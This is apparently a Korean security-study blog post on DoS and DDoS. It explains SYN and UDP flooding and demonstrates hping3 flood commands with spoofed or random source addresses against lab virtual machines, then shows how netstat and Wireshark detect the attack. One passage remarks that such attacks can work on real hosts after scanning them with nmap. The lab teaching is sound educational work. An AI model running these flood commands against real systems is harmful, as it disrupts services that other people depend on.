2024. 2. 18. 15:50ㆍInformation Security 정보보안/Network Security 네트워크 보안
배울 내용:
자원고갈 공격
DOS 공격하기
도스공격
DOS attack
syn flooding
udp flooding
와이어샤크
wireshark
네트워킹 해킹
hping3
netstat
nmap
DOS 와 DDOS 공격
DoS는 하나 또는 소수의 출처에서 서비스 거부를 일으키는 것이고,
DDoS는 여러 출처에서 분산하여 서비스 거부를 유발하는 것입니다.
DoS (Denial of Service):
자원고갈 공격이라고 불리며 꼭 필요한 사람이 사용 못 하게 하는 것이다
기본개념:
- "Denial of Service"는 서비스 거부를 의미합니다. 이것은 네트워크 리소스나 시스템 자원에 과도한 부하를 가하거나 손상시켜서 특정 사용자나 그룹이 해당 서비스를 이용할 수 없게 만드는 공격입니다. 일반적으로 한 대의 컴퓨터 또는 소수의 컴퓨터가 대상 시스템으로 대량의 요청을 보내거나, 시스템의 결함을 악용하여 서비스를 마비시키는 데 사용됩니다.
그러면 DOS 는 어떤 자원을 고갈시킬까?
Network, System (네트워크와 시스템) : CPU , Memory, Disk , Process
DOS 공격 의 특징은
공격하기가 쉽다
그리고 공격자를 찾아내기가 어렵다 (IP Spoofing 하기 떄문 )
이떄 IP SPoofing 하기떄문에 DOS 공격으로 오해하는데
ARP Attack , Session Hijacking 이런 공격은 DOS , DDOS 공격이 아니라 ARP Spoofing 일뿐이고 (MAC 변조 공격, 세션 탈취공격) 자원을 고갈시키는 것들이 아니기 때문이다 .
SYN Flooding에 "Flood"는 홍수, 범람하게 하다, 넘쳐나다라는 뜻을 가지고 있다.
말그대로 최대 생성로 최고속도 전송 SYN 패킷을 최대 생성으로 최고 속도로 상대방 시스템에 전송 시키는 것이다 ( 시스템 자원고갈 시킨다 )
Syn Flooding을 이해하려면 3 Way handshake를 이해해야한다 . 정상적인 3 Way handshake는 Syn을 보내고 다시 SYN/ACK 를 받고
ACK 를 해서 연결되는데
이렇게 SYN 을 Flooding 시키고 SYN ACK 를 네트워크에 존재하지 않는 IP 에데가 보내게 하는것이다
그러면 당연히 응답할 IP 가 없기때문에 이게 쌓이게 되 Back Log 라는게 쌓이게 된다 ( Backlog은 네트워크에서 처리되지 않은 작업이나 메시지를 의미)
SYN Flooding 공격 해보기 (실습)
Hping3
>hping3 [옵션] [공격대상]
<옵션>
-a : 출발지 IP 주소 변조
-p : 목적지 포트 지정
-s : 출발지 포트 옵션
-S : SYN
-F : FIN
-P : PSH
-A : ACK
-c : 횟수 지정
-d : 데이터 크기
--flood : 최고의 속도
--faster : 초당 100개
공격자 KALI(192.168.10.100) 와 공격대상자 CentOS(192.168.10.101) 의 VM 을 준비하고
방화벽을 systemctl stop firewalld , set enforce 0 한뒤에 해제시키고 ping 을 해서 통신이 되나 확인하고
아래의 명령어를 입력한다
hping3 -a 100.100.100.100 192.168.10.101 -S -p 80 --flood
내 출발지가 원래 192.168.10.100 인거를 100.100.100.100 으로 위조하고
192.168.10.101 의 IP 주소에 -S (SYN) 을 보낼건데 -p 80 포트번호가 80 으로 --flood 많이 빠르게 보낼거다
Cent OS에서 wireshark를 실행후 위에 명령어를 실행시키면
이렇게 Source(출발지)가 100.100.100.100 로 왔다고 Spoofing 된걸 볼수있고 한두개가 아닌 많은 양의 패킷이 전송된걸 확인할수있다.
당연히 보내는것도 다른 옵션을줘서 아래처럼 가능하다
#hping3 -a 100.100.100.100 192.168.10.101 -S -p 80 --flood -c 10
10개만 보낼수도 잇음
#hping3 --rand-source 192.168.10.101 -S -p 80 --flood
랜덤하게 출발지 주소를 보냄
[프로토콜 모드]
-옵션 없으면 : TCP
-0 : IP Mode
-1 : ICMP Mode
-2 : UDP Mode
이게 어느정도인지는 gnome-system-monitor 라는 시스템 모니터를 centOS 에서 보면 바로 볼수있다
빨간색 밑줄부분에 syn flooding 을 해버리면 저러헥 네트워크 사용기록 및 CPU 사용기록이 되는걸 알수있다
DOS 공격 하는법
실제로 방화벽을 끄고 포트를 열어주면 공격이 가능하다
nmap ip주소 (구글에서확인 한뒤에 가능) 여기서 열린포트 확인가능
p 가 80번 열려있으면 DOS 공격가능하다
아래의 본인의 IP 주소를 확인하고 방화벽 풀어주고 실시간 검사, 백신프로그램(알약 ) 등을 꺼주고 포트 열어주고 실행해보면 가능하다
한번 실험해봤을때 실제로 컴퓨터가 느려질수있다
보안하는 방법은 아래처럼
Cent OS 에서 netstat -tuna 를 입력하면
포트가 열려져있는걸 볼수있고 LISTEN 하는걸 볼수있다
이게 만약 KALI에서 ftp 서버에서 접속하면
이렇게 LISTEN 에서 ESTABLISHED 라고 변경되며
외부 에서 CentOS 로 연결된걸 확인할수있다
이것처럼 외부에서 접속된걸 알수있고 또한
SYN Flooding 공격이 오면
상태창에 SYN_RECV (SYN _RECEIVE : SYN 을 받은상태)
이렇게 올라오기 떄문에 바로 확인 가능하다
당연히 윈도우로도 가능하다
그대신 윈도우의 netstat 의 옵션은 tuna 가 아닌 an 이다
이렇게 되있던게 Kali 에서 Window 로
hping3 -a 100.100.100.100 192.168.10.200 -S -p 445 --flood
이렇게 될시 window 에서 netstat -an 으로 확인하면
이런식으로 SYN_RECEIVED 가 뜨는걸 볼수있다
이렇게 익숙해지면
UDP 모드로 랜덤한 출발지로 스푸핑하며 192.168.10.101 에 보내고 -d 데이터 크기는 650000 로 -p 53 은 53번 포트로 flooding 시킨다 그렇게 centos 에서 확인하면
여기에 사이즈를 650000으로 올리니 fragmented 될수밖에 없다
최대한 MTU 값이 1500 이니깐
MTU 는 아래의 링크로 가서 확인
MTU 란?
MTU
Maximum Transmission Units
한방으로 처리할수있는 최대전송단위인 것이다
https://sarimus.tistory.com/47
이렇게 다양하게 쓰면 DOS 공격을 다양하게 할수있다
그리고 DDOS는 아래와 같다
DDoS (Distributed Denial of Service):
- "Distributed Denial of Service"는 분산된 서비스 거부를 의미합니다. 이 공격은 여러 컴퓨터 또는 장치로부터 공동으로 실행되며, 대상 시스템에 대한 공격을 쉽게 확대시킵니다. 이 공격은 보통 좀 더 강력한 것으로 간주됩니다. 왜냐하면 여러 출처에서 동시에 공격을 받기 때문에 대상 시스템이 방어하기가 더 어려워지기 때문입니다.
- 이러한 DDoS 공격은 "봇넷"이라고 알려진 감염된 컴퓨터 네트워크를 통해 수행됩니다. 해커는 이 봇넷을 사용하여 대량의 요청을 대상 시스템으로 보내고, 이로 인해 시스템이 다운되거나 서비스 거부 상태에 빠지게 합니다.
DDOS 는 그림과 같이 Attacker 가 아래의 Master 에게 그리고 그 Master 들은 Slaves 들에게 그리고 그 모든 Slaves 들은
하나의 Victim 으로 공격을 하게 되는 구조이다
이는 다음시간에 설명할것이다